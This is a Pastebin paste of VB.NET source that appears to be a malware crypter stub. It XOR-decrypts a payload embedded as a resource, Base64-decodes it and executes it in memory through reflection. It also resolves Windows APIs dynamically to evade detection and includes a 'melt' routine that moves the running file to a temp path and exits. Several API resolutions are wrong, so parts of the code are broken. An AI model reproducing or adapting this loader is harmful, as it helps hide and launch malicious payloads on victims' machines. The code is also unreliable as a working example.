Advertisement
Guest User

Untitled

a guest
Sep 26th, 2017
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 6.08 KB | None | 0 0
  1. Imports System
  2. Imports System.IO
  3. Imports Microsoft.VisualBasic
  4. Imports System.Text
  5. Imports System.Runtime.InteropServices
  6. Imports System.Reflection
  7. Imports System.Runtime.CompilerServices
  8. Namespace Dynam
  9.  
  10.         Public Class Test
  11.    
  12.                
  13.        
  14.         Public Shared Sub Main()
  15.         Dim testlolrofl() As Byte = {1, 2, 42, 43, 21, 56, 98, 74, 23, 22, 10, 89, 90, 56, 102, 254, 132, 123, 112, 245, 241, 243, 121}
  16.         Dim testlolcopter As Byte() = Decrypt(ReadResource(System.AppDomain.CurrentDomain.BaseDirectory), testlolrofl)
  17.         dim haltdeinmaul as string = System.Text.Encoding.ASCII.GetString(testlolcopter)
  18.         Dim binaryData() As Byte = Convert.FromBase64String(haltdeinmaul.Replace("$", "A"))
  19.         RunFromMemory(binaryData)
  20.         End Sub
  21.          
  22.         Public Shared Sub RunFromMemory(ByVal bytes As Byte())
  23.         Dim assembly As Reflection.Assembly = assembly.Load(bytes)
  24.         Dim entryPoint As MethodInfo = [assembly].EntryPoint
  25.         Dim objectValue As Object = RuntimeHelpers.GetObjectValue([assembly].CreateInstance(entryPoint.Name))
  26.         entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String() {"1"}})
  27.         End Sub
  28.              
  29.         Public Shared Function Decrypt(ByVal plain As Byte(), ByVal key As Byte()) As Byte()
  30.             Dim expandedKey As Byte() = ExpandKey(key, plain.Length)
  31.             Dim wholeState As Byte() = plain
  32.             Dim magic As Byte = plain(plain.Length - 1)
  33.             Array.Resize(wholeState, wholeState.Length - 1)
  34.  
  35.             For hablol As Integer = 0 To wholeState.Length - 1
  36.                 wholeState(hablol) = CByte(wholeState(hablol) Xor magic Xor expandedKey(hablol))
  37.             Next
  38.  
  39.             Return wholeState
  40.         End Function
  41.        
  42.         Public Shared Function ExpandKey(ByVal key As Byte(), ByVal analfick As Integer) As Byte()
  43.             If key.Length >= analfick Then
  44.                 Return key
  45.             End If
  46.             Dim rconst As Byte() = BitConverter.GetBytes(Math.Round(Math.PI, 3))
  47.             Dim result As Byte() = New Byte(analfick - 1) {}
  48.             Buffer.BlockCopy(key, 0, result, 0, key.Length)
  49.  
  50.             For lolixpx As Integer = key.Length To analfick - 1
  51.                 result(lolixpx) = CByte((key((lolixpx - key.Length) Mod key.Length) Xor (result(lolixpx - 1))) Mod 256)
  52.             Next
  53.  
  54.             For kacken As Integer = 0 To 4
  55.                 result(0) = CByte(result(0) Xor rconst(kacken))
  56.                 For nuttenkind As Integer = 1 To result.Length - 1
  57.                     result(nuttenkind) = CByte(((result(nuttenkind) Xor CByte(rconst(kacken) << (nuttenkind Mod 3))) Xor result(nuttenkind - 1)) Mod 256)
  58.                 Next
  59.             Next
  60.             Return result
  61.         End Function
  62.      
  63.  
  64.     End Class
  65.     Module Login  
  66.     'Ressourcen
  67.     'Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal moduleName As String) As IntPtr
  68.     'Private Declare Function SizeofResource Lib "kernel32" (ByVal hModule As IntPtr, ByVal hResInfo As IntPtr) As Integer
  69.     'Private Declare Function LoadResource Lib "kernel32" (ByVal hModule As IntPtr, ByVal hResInfo As IntPtr) As IntPtr
  70.     'Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
  71.     'Melt File
  72.     Private Declare Function ExitProcess Lib "kernel32" Alias "ExitProcess" (ByVal uExitCode As UInteger) As Integer
  73.     Private Declare Function MoveFile Lib "kernel32" Alias "MoveFileExW" (<[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpExistingFileName As String, <[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpNewFileName As String, ByVal dwFlags As Long) As Integer
  74.    
  75.     '<DllImport("kernel32.dll", SetLastError:=True)> _
  76.     'Public Function FindResource(ByVal hModule As IntPtr, ByVal lpName As String, ByVal lpType As String) As IntPtr
  77.     'End Function
  78.    
  79.     Delegate Function GetModuleHandle(ByVal moduleName As String) As IntPtr
  80.     Delegate Function FindResource(ByVal hModule As IntPtr, ByVal lpName As String, ByVal lpType As String) As IntPtr
  81.     Delegate Function SizeofResource(ByVal hModule As IntPtr, ByVal hResInfo As IntPtr) As IntPtr
  82.     Delegate Function LoadResource(ByVal hModule As IntPtr, ByVal hResInfo As IntPtr) As IntPtr
  83.     Delegate Function GetModuleFileName(ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
  84.    
  85.     Declare Function LoadLibraryA Lib "kernel32" (ByVal name As String) As IntPtr
  86.     Declare Function GetProcAddress Lib "kernel32" (ByVal handle As IntPtr, ByVal name As String) As IntPtr
  87.     'Dynamische API
  88.     Function CreateAPI(Of T)(ByVal name As String, ByVal method As String) As T
  89.     Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(name), method), GetType(T)), Object), T)
  90.     End Function
  91.    
  92.     Public Sub MeltFile()
  93.         MoveFile(Left(System.AppDomain.CurrentDomain.BaseDirectory, GetModuleFileName(0, System.AppDomain.CurrentDomain.BaseDirectory, 256)), System.IO.Path.GetTempPath + "\tmpG" + Date.Now.Millisecond.ToString + ".tmp", 8)
  94.         ExitProcess(0)
  95.     End Sub
  96.    
  97.     Public Function ReadResource(ByVal filename As String) As Byte()
  98.         Dim fickmodule As GetModuleHandle = CreateAPI(Of GetModuleHandle)("kernel32", "GetModuleHandle")
  99.         fickmodule(filename)
  100.        ' Dim hModule As IntPtr = GetModuleHandle(filename)
  101.         Dim locimoki As FindResource = CreateAPI(Of FindResource)("kernel32", "GetModuleHandle")
  102.         locimoki(fickmodule,"0","RT_RCDATA")
  103.        ' Dim loc As IntPtr = FindResource(fickmodule, "0", "RT_RCDATA")
  104.         Dim lolxit as LoadResource = CreateAPI(Of LoadResource)("kernel32", "GetModuleHandle")
  105.         Dim x As IntPtr = LoadResource(fickmodule, locimoki)
  106.         Dim size as Object = SizeofResource(fickmodule, locimoki)
  107.         Dim bPtr As Byte() = New Byte(size - 1) {}
  108.         Marshal.Copy(x, bPtr, 0, CInt(size))
  109.         Return bPtr
  110.     End Function
  111.  
  112.    
  113.     End Module
  114. End Namespace
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement